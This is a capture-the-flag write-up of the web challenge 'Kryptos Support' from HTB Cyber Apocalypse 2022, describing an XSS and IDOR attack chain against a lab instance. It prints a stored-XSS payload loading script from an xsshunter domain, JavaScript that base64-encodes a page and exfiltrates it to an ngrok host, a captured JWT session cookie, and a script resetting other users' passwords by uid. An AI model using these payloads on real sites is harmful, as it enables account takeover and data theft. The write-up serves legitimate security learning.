Kryptos Support challenge Writeup
HTB Cyber Apocalypse CTF 2022 was held from the 14th of May Until the 19th of the month , and we have participated under the team 0xcha0s, we have managed to solve multiple challenges. this challenge was ranked easy
CTF name | Cyber Apocalypse CTF 2022 |
---|---|
challenge | Kryptos Support |
category | web |
about | XSS , IDOR |
team | 0xCha0s |
Discovery :
This easy challenge are introduced with this page , as we see just add a report issue interface:
There is also end point /login
But there is no /signup
or register
and First thing i have tried is to get xss , i used xsshunter as a proof only latter on will use ngrok http server :
<script src=https://XXXXXXX.xss.ht></script>
and we get a hit :
we know from the report the following :
- vulnerable page
http://127.0.0.1:1337/tickets/new
- the session used is JWT based:
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3NzEwMTh9.iQshqI16zGjE3tUOVQHsqLKaZofC8JyFN4CWhHH6lWg
- and from the DOM we can see there are other internal end points which are
/settings
and/logout
Decoding the cookie we got the username and the uid
Attacking :
I wanted to get an overview about what functions are there in the /settings
page. so we craft this payload :
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://127.0.0.1:1337/settings");
xhr.onload = function () {
var out = btoa(xhr.responseText);
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://3bbd-156-194-235-84.ngrok.io/?out=" + out);
exfil.send();
};
xhr.send();
and will use this payload at the report page to request the script we host :
<script src="http://3bbd-156-194-235-84.ngrok.io/get.js"></script>
decoding it :
will notice the page has the update password function also , we can check the Js code under /static/js/settings.js
and it is publicly exposed :
$(document).ready(function() {
$("#update-btn").on('click', updatePassword);
});
async function updatePassword() {
$('#update-btn').prop('disabled', true);
let card = $("#resp-msg");
card.text('Updating password, please wait');
card.show();
let uid = $("#uid").val();
let password1 = $("#password1").val();
let password2 = $("#password2").val();
if ($.trim(password1) === '' || password1 !== password2) {
$('#update-btn').prop('disabled', false);
card.text("Please type-in the same password!");
card.show();
return;
}
await fetch(`/api/users/update`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({password: password1, uid}),
})
.then((response) => response.json()
.then((resp) => {
card.text(resp.message);
card.show();
}))
.catch((error) => {
card.text(error);
card.show();
});
$('#update-btn').prop('disabled', false);
}
The catch here is that it doesn’t check the old password , just providing the uid and the new password will reset the password. we can confirm with this script which will reset the password of the moderator user
var xhr = new XMLHttpRequest();
var theUrl = "http://127.0.0.1:1337/api/users/update";
xhr.open("POST", theUrl);
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send(JSON.stringify({ password: "testme123", uid: "100" }));
And we have successfully logged in with the new password and the username moderator
:
Now why not reset the password for the user admin
too ? , as it doesn’t check on the uid
, we can run intruder to fuzz the admin uid But for our luck it is 1
. from the moderator account we can reset the password without the need to use javascript code and ngrok hosting it
and now we can login with the admin user